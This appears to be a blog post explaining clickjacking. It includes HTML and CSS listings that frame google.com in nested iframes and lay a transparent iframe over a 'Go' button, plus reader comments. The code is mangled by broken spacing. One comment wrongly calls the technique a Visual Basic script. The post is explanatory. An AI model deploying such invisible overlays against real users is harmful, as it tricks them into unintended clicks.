BASIC CLICKJACKING
A typical clickjacking attack uses two nested iframes to crop and
position an element from a target website. The inner iframe contains the target
page and must be large enough to display it in its entirety, such that the
element on which the user will click is visible without scrolling. The outer
iframe is much smaller and acts as a window onto the page loaded in the inner
iframe. For a user interface redressing attack, the outer iframe should only be
large enough to display the targeted element . You think you are
clicking on the website you see but no, you are really clicking on an invisible website you cannot see
that’s right under your mouse. Clickjacking affects many browsers and
platforms.
Inner.html.h
- <iframe id =" inner " src ="
http :// www.google.com " width ="2000" height
="2000" scrolling =" no" frameborder =" none
">
2.
</iframe >
Fig 1: Inner.html
Clickjacking.html.
- <iframe id =" inner " src ="
inner.html " width ="2005" height ="290"
scrolling =" no" frameborder =" none "></ iframe
>
- <style type =" text /css
"><!--
- # inner { position : absolute ; left : -1955
px; top : -14 px ;}
- //--></ style >
Trustedpage.html
- <h1 >www .nds .rub .de </h1 >
- <form action =" http ://
www.nds.rub.de">
- <input type =" submit " value
=" Go">
- </form >
- <iframe id =" clickjacking " src
=" clickjacking .html " width ="50" height
="300" scrolling ="
no" frameborder
=" none ">
- </iframe >
- <style type =" text /css
"><!--
- # clickjacking { position : absolute ; left :7
px; top :81 px; opacity :0.0}
- //--></ style >
Fig 2:
Trustedpage.html
- “inner.html”: Frame “google.com” (2000x2000px)
- “clickjacking.html”: Shift the iframe with
“src=inner.html” to the left
- “trustedPage.html”: Place a
transparent iframe with “src=clickjacking.html” over the “Go” button
The order of search results on Google’s search results pages is based,
in part, on a comparison between three attacks.
Table 1. Clickjacking
vs. Browser Based Attack
|
Google Results
|
Years
|
Cross-Site Scripting(XSS)
|
15,700,000
|
15
|
Cross-Site Request Forgery(CSRF)
|
2,870,000
|
11
|
Clickjacking
|
1,200,000
|
3
|
The following chart (figure 3) shows the clickjacking google results.
Fig 3:
Clickjacking growth chart
The clickjacking script hides from view the particular advert under the actual cursor, .... This is a visual basic script files that will be bring forth a messages DB Mall
ReplyDeleteYaa,this script hide under actual cursor.
DeleteThanks for your comments....